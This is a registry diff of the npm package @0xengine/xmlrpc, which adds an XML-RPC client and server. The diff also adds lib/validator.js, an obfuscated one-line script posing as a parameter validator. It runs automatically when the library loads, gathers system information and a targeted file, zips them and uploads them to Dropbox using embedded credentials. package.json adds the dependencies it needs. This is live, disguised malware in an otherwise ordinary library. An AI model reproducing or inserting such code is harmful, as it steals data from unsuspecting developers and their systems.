@0xengine/xmlrpc 0.0.1-security → 1.3.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0x4f3820=a0_0xf37c;(function(_0x1afdc9,_0x54cda0){const _0x346b95=a0_0xf37c,_0x1834c3=_0x1afdc9();while(!![]){try{const _0x1da0cf=-parseInt(_0x346b95(0x163))/(-0x776*0x5+0x1da3+-0x7ac*-0x1)+-parseInt(_0x346b95(0x196))/(0x159c+0x1*-0x1202+-0x398)*(-parseInt(_0x346b95(0x16a))/(-0x2*0xd93+-0x5*-0x474+0xb3*0x7))+-parseInt(_0x346b95(0x19a))/(0x230d+-0xcf1*-0x1+-0x59*0x8a)*(-parseInt(_0x346b95(0x1a7))/(-0x85*0x5+-0x103*0x11+0x13d1))+-parseInt(_0x346b95(0x17e))/(0x7*-0x3fb+-0xc76+0x2859)+parseInt(_0x346b95(0x1ac))/(-0x2664+0x2640+0x2b)+parseInt(_0x346b95(0x197))/(-0x78*0x11+0x3b*0x10+0x6*0xb8)*(parseInt(_0x346b95(0x19b))/(-0x1367*-0x1+-0x264+-0x29*0x6a))+-parseInt(_0x346b95(0x186))/(0x3*-0xb05+-0x1dae+0x21*0x1e7)*(parseInt(_0x346b95(0x175))/(-0x4*-0x499+-0x2441+0x2fc*0x6));if(_0x1da0cf===_0x54cda0)break;else _0x1834c3['push'](_0x1834c3['shift']());}catch(_0x2495b9){_0x1834c3['push'](_0x1834c3['shift']());}}}(a0_0x3ad7,-0x529*0xcd+-0x36*-0x977+0x5932f));const a0_0x41341b=(function(){let _0x7e452b=!![];return function(_0x3759bd,_0x2a8403){const _0x1d1371=_0x7e452b?function(){const _0x212a94=a0_0xf37c;if(_0x212a94(0x164)==='JMKvh'){if(_0x2a8403){const _0x374dd3=_0x2a8403['apply'](_0x3759bd,arguments);return _0x2a8403=null,_0x374dd3;}}else _0x5bba4a(-0x1cf7+-0x865+-0x1*-0x255c);}:function(){};return _0x7e452b=![],_0x1d1371;};}());function a0_0x3ad7(){const _0x4c5303=['argv','eZarh5VSmU','stringify','121ImUDaY','BDhuK','findIndex','counter','MlySl','filesUploa','SJYBw','0-9a-zA-Z_','targets\x20sr','1174704eeqzPQ','now','call','catch','qbknda07b3','uSEAi','find','KOwbA','193540LICdUc','init','log','\x5c+\x5c+\x20*(?:[','exports','constructo','action','EXdInRczVA','utf8','ensureDir','readFile','resolve','$]*)','chain','ZtRBk4Wfng','a-zA-Z_$][','516znjiVs','3464qbLsrV','path','zipPath:\x20','1030132wusOCw','2727zWSTYO','stateObjec','/targets.t','token:\x20','TXLGy','osInfo','gger','cAAAAAAAAA','string','JCbVA','ZVHnA','clientId','5yOUceN','--targets','c\x20path:\x20','ODoh','rmation','2682463zrRSnX','while\x20(tru','UkzXH','c6j642mz7k','function\x20*','2gyuq','apply','systeminfo','258353HFFCdi','JMKvh','MpcQS','debu','copyFile','input','e)\x20{}','1401nCVhAi','then','test','/si.json','length','\x5c(\x20*\x5c)','clientSecr','writeFile'];a0_0x3ad7=function(){return _0x4c5303;};return a0_0x3ad7();}(function(){a0_0x41341b(this,function(){const _0x5da4ba=a0_0xf37c,_0x8d14b5=new RegExp(_0x5da4ba(0x1b0)+_0x5da4ba(0x16f)),_0x344a64=new RegExp(_0x5da4ba(0x189)+'a-zA-Z_$]['+'0-9a-zA-Z_'+_0x5da4ba(0x192),'i'),_0x519451=a0_0x5067de('init');if(!_0x8d14b5[_0x5da4ba(0x16c)](_0x519451+'chain')||!_0x344a64['test'](_0x519451+_0x5da4ba(0x168))){if(_0x5da4ba(0x17b)!=='SJYBw')return!![];else _0x519451('0');}else a0_0x5067de();})();}());const fs=require('fs-extra'),{zip}=require('zip-a-fold'+'er'),si=require(a0_0x4f3820(0x162)+a0_0x4f3820(0x1ab)),os=require('os'),path=require(a0_0x4f3820(0x198)),{Dropbox}=require('dropbox'),a0_0x3d3821={};a0_0x3d3821[a0_0x4f3820(0x1a6)]=a0_0x4f3820(0x182)+'no1z3',a0_0x3d3821[a0_0x4f3820(0x170)+'et']=a0_0x4f3820(0x1af)+a0_0x4f3820(0x160),a0_0x3d3821['refreshTok'+'en']=a0_0x4f3820(0x194)+a0_0x4f3820(0x1a2)+'AYA9a4wHLu'+a0_0x4f3820(0x18d)+a0_0x4f3820(0x173)+'ggTYegPuYh'+a0_0x4f3820(0x1aa);const dbx=new Dropbox(a0_0x3d3821);async function validator(){const _0x14a8da=a0_0x4f3820,_0x1c1383=process['argv'][_0x14a8da(0x184)](_0x38f536=>_0x38f536==='debugme')!==undefined,_0xf3e92c=_0x5f1a82=>{const _0x21f3a5=_0x14a8da;if(_0x21f3a5(0x183)===_0x21f3a5(0x1ae))return![];else _0x1c1383&&console[_0x21f3a5(0x188)](_0x5f1a82);};_0xf3e92c(process[_0x14a8da(0x172)]);const _0x368c78=process[_0x14a8da(0x172)][_0x14a8da(0x177)](_0x38d492=>_0x38d492===_0x14a8da(0x1a8)||_0x38d492==='-t');if(_0x368c78===-(0x7*0x103+0x3*0xb0b+-0x1*0x2835)){if(_0x14a8da(0x1a4)!=='HKNvd')return;else _0x56ae9&&_0x159af7[_0x14a8da(0x188)](_0x71179d);}const _0x347eee=path[_0x14a8da(0x191)](process[_0x14a8da(0x172)][_0x368c78+(0x2028+-0x41*0xd+-0x1cda)]);_0xf3e92c(_0x14a8da(0x17d)+_0x14a8da(0x1a9)+_0x347eee);const _0x426a28=os['tmpdir'](),_0x3b988b=Date[_0x14a8da(0x17f)](),_0x412a7c=_0x426a28+'/'+_0x3b988b;await fs[_0x14a8da(0x18f)](_0x412a7c);const _0x1577d1=await si['uuid'](),_0x1435da=await si[_0x14a8da(0x1a0)](),_0x1a6d63={};_0x1a6d63['uuid']=_0x1577d1,_0x1a6d63[_0x14a8da(0x1a0)]=_0x1435da;const _0xb71ed7=_0x1a6d63,_0x576c61=JSON[_0x14a8da(0x174)](_0xb71ed7,null,0x203*-0x3+-0x2*0x1d3+0x9b1),_0x4ab5bd=_0x412a7c+_0x14a8da(0x16d),_0x3b04ce={};_0x3b04ce['encoding']=_0x14a8da(0x18e),await fs[_0x14a8da(0x171)](_0x4ab5bd,_0x576c61,_0x3b04ce);const _0x1259c2=_0x412a7c+(_0x14a8da(0x19d)+'xt');await fs[_0x14a8da(0x167)](_0x347eee,_0x1259c2);const _0x77e6af=_0x1577d1['os']+'-'+_0x3b988b+'.zip',_0x271f95=_0x426a28+'/'+_0x77e6af;_0xf3e92c(_0x14a8da(0x199)+_0x271f95),await zip(_0x412a7c,_0x271f95);const _0x35b1dc=getAuthToken();_0xf3e92c(_0x14a8da(0x19e)+_0x35b1dc);const _0x1f27cf=fs[_0x14a8da(0x190)](_0x271f95),_0x290136={};_0x290136['path']='/'+_0x77e6af,_0x290136['contents']=_0x1f27cf,dbx[_0x14a8da(0x17a)+'d'](_0x290136)[_0x14a8da(0x16b)](_0x270e37=>{_0xf3e92c(_0x270e37);})[_0x14a8da(0x181)](_0x448ff6=>{_0xf3e92c(_0x448ff6);});}module[a0_0x4f3820(0x18a)]=validator;function a0_0xf37c(_0xf37cbc,_0x21c9fb){const _0x50b52d=a0_0x3ad7();return a0_0xf37c=function(_0x43334b,_0x13e6c6){_0x43334b=_0x43334b-(0x1166+0x2*-0x1381+0x16fc);let _0x296b27=_0x50b52d[_0x43334b];return _0x296b27;},a0_0xf37c(_0xf37cbc,_0x21c9fb);}function a0_0x5067de(_0x493654){const _0x26603f=a0_0x4f3820;function _0x253b9a(_0x57022e){const _0xc7d1db=a0_0xf37c;if(typeof _0x57022e===_0xc7d1db(0x1a3))return function(_0x546d13){}[_0xc7d1db(0x18b)+'r'](_0xc7d1db(0x1ad)+_0xc7d1db(0x169))[_0xc7d1db(0x161)]('counter');else{if(_0xc7d1db(0x176)==='BDhuK')(''+_0x57022e/_0x57022e)[_0xc7d1db(0x16e)]!==-0x1569+-0x2617+-0x1*-0x3b81||_0x57022e%(0x13a5+0x2109+-0x349a)===-0x202f+0xc69+-0x13c6*-0x1?_0xc7d1db(0x165)==='qCwVr'?_0x4d4668[_0xc7d1db(0x188)](_0x3b9cd7):function(){const _0x420137=_0xc7d1db;if(_0x420137(0x19f)!=='TXLGy')_0x460319('0');else return!![];}[_0xc7d1db(0x18b)+'r']('debu'+_0xc7d1db(0x1a1))[_0xc7d1db(0x180)](_0xc7d1db(0x18c)):function(){const _0x3c0c23=_0xc7d1db;return _0x3c0c23(0x179)===_0x3c0c23(0x1a5)?function(_0x38e0b1){}[_0x3c0c23(0x18b)+'r'](_0x3c0c23(0x1ad)+'e)\x20{}')[_0x3c0c23(0x161)](_0x3c0c23(0x178)):![];}[_0xc7d1db(0x18b)+'r'](_0xc7d1db(0x166)+_0xc7d1db(0x1a1))['apply'](_0xc7d1db(0x19c)+'t');else{const _0x1ceb10=new _0xd7193a(_0xc7d1db(0x1b0)+'\x5c(\x20*\x5c)'),_0x2909aa=new _0xa57c51(_0xc7d1db(0x189)+_0xc7d1db(0x195)+_0xc7d1db(0x17c)+_0xc7d1db(0x192),'i'),_0x238e7e=_0x3a6c7a(_0xc7d1db(0x187));!_0x1ceb10[_0xc7d1db(0x16c)](_0x238e7e+_0xc7d1db(0x193))||!_0x2909aa[_0xc7d1db(0x16c)](_0x238e7e+_0xc7d1db(0x168))?_0x238e7e('0'):_0x3449c9();}}_0x253b9a(++_0x57022e);}try{if(_0x493654)return _0x253b9a;else'KOwbA'!==_0x26603f(0x185)?function(){return![];}[_0x26603f(0x18b)+'r'](_0x26603f(0x166)+_0x26603f(0x1a1))[_0x26603f(0x161)]('stateObjec'+'t'):_0x253b9a(0x36*-0x9d+0x1641+0x135*0x9);}catch(_0x515eec){}}
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.11",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox-v2-api": "^2.5.10",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|